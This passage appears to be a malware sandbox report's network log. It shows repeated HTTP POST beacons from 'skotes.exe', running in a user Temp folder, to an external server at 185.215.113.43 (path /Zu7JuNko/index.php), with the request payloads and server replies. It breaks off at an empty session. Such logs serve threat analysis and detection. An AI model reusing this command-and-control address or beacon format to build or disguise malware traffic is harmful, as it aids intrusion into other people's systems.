67	192.168.2.5	50800	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:53:30.975079060 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 30, 2024 09:53:31.664186954 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:53:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.5	50802	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:53:33.377351046 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 31 32 46 37 30 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 38 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B12F70B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E8
Sep 30, 2024 09:53:34.071892977 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:53:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.5	50803	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:53:35.692341089 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 30, 2024 09:53:36.399343967 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:53:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.5	50804	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:53:37.914978027 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 31 32 46 37 30 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 38 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B12F70B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E8
Sep 30, 2024 09:53:38.639662981 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:53:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.5	50805	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:53:40.288383961 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 30, 2024 09:53:40.978066921 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:53:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.5	50806	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:53:42.491431952 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 31 32 46 37 30 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 38 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B12F70B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E8
Sep 30, 2024 09:53:43.215142012 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:53:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.5	50809	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:53:44.838004112 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 30, 2024 09:53:45.594295025 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:53:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.5	50810	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:53:47.116952896 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 31 32 46 37 30 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 38 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B12F70B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E8
Sep 30, 2024 09:53:47.832603931 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:53:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.5	50811	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:53:49.564994097 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 30, 2024 09:53:50.295052052 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:53:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.5	50812	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:53:51.838119030 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 31 32 46 37 30 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 38 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B12F70B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E8
Sep 30, 2024 09:53:52.561716080 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:53:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.5	50813	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:53:54.194006920 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 30, 2024 09:53:54.914731026 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:53:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.5	50814	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:53:56.429440975 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 31 32 46 37 30 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 38 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B12F70B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E8
Sep 30, 2024 09:53:57.161528111 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:53:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.5	50815	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:53:58.774513006 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 30, 2024 09:53:59.482717037 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:53:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.5	50816	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:54:01.006870031 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 31 32 46 37 30 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 38 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B12F70B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E8
Sep 30, 2024 09:54:01.717927933 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:54:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.5	50817	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:54:03.339078903 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 30, 2024 09:54:04.034559011 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:54:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.5	50818	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:54:05.553675890 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 31 32 46 37 30 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 38 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B12F70B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E8
Sep 30, 2024 09:54:06.267688036 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:54:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.5	50819	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:54:07.978087902 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 30, 2024 09:54:08.688263893 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:54:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.5	50820	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:54:10.210275888 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 31 32 46 37 30 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 38 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B12F70B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E8
Sep 30, 2024 09:54:10.933959961 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:54:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.5	54562	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:54:12.571844101 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 30, 2024 09:54:13.290909052 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:54:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.5	54563	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:54:14.816473961 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 31 32 46 37 30 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 38 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B12F70B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E8
Sep 30, 2024 09:54:15.766134977 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:54:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Sep 30, 2024 09:54:15.766200066 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:54:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.5	54566	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:54:17.402731895 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 30, 2024 09:54:18.131409883 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:54:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.5	54567	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:54:19.650243998 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 31 32 46 37 30 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 38 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B12F70B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E8
Sep 30, 2024 09:54:20.507707119 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:54:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.5	54568	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:54:22.162642002 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 30, 2024 09:54:22.862941027 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:54:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.5	54569	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
